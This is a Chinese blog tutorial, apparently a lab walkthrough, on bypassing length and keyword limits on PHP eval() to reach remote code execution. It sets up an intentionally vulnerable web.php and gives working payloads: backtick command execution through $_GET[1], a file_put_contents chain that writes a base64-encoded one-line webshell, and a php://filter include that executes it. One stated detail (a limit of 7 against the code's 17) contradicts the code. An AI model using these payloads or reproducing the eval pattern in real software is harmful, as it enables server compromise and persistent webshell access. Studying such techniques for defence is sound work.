RCE的奇技淫巧(EVAL长度限制突破技巧)

目录

一、EVAL长度限制突破技巧

1、简单绕过技巧:(`$_GET[1]`)

1.1首先我们先创建一个web.php文件

1.2利用`$_GET[1]`拿到webshell

2、文件包含利用

2.1利用$_GET[1]写入文件

2.2文件包含方式执行文件

2.3将页面执行出来的base64编码进行解码就是一个一句话木马

3、利用usort(...$_GET)技巧突破限制;

3.1抓包

3.2将内容发送过去发现出现错误,这里是因为我是php7.3.4的版本,这个漏洞已经被修复了所以看不到效果,将版本更换为php5.6即可


一、EVAL长度限制突破技巧

1、简单绕过技巧:(`$_GET[1]`)

1.1首先我们先创建一个web.php文件

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

这里的意思是,对只要出现eval和assert这两个函数进行限制,对长度限制是要小于7

这里的param就是接收的参数,那么我们就可以在网页上进行绕过限制得到我们想要的页面,例如我们运行phpinfo的页面

192.168.171.136/web.php?param=phpinfo();

1.2利用`$_GET[1]`拿到webshell

编写语句

web.php?param=echo `$_GET[1]`;&1=id;,这里``就是将命令执行转换为了代码执行

注释:这里&后的1等于的是id

这里必须注意要在&前面添加分号,ascii必须要echo才能输出内容

2、文件包含利用

2.1利用$_GET[1]写入文件

注释:file_put_contents&param=$_GET[1](N,P,8)

param传的参数是$_GET[1],$_GET[1]相当于写的是file_put_contents;1接收的参数是N,P,8,N是要写入的文件名,P是一句话木马的base64的编码也就是我们要写入文件里的具体参数,8是追加参数

转换成base64是因为有些字符不能追加,比如^,

执行后就可以看到Linux 文件目录下多了一个文件N里面也追加成功了内容

2.2文件包含方式执行文件

param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N

include就是包含的意思,这里的文件包含就是把接收到所有文件当作是php文件来执行

2.3将页面执行出来的base64编码进行解码就是一个一句话木马

3、利用usort(...$_GET)技巧突破限制;

php、JS中可变长参数表示:...

3.1抓包

3.2将内容发送过去发现出现错误,这里是因为我是php7.3.4的版本,这个漏洞已经被修复了所以看不到效果,将版本更换为php5.6即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值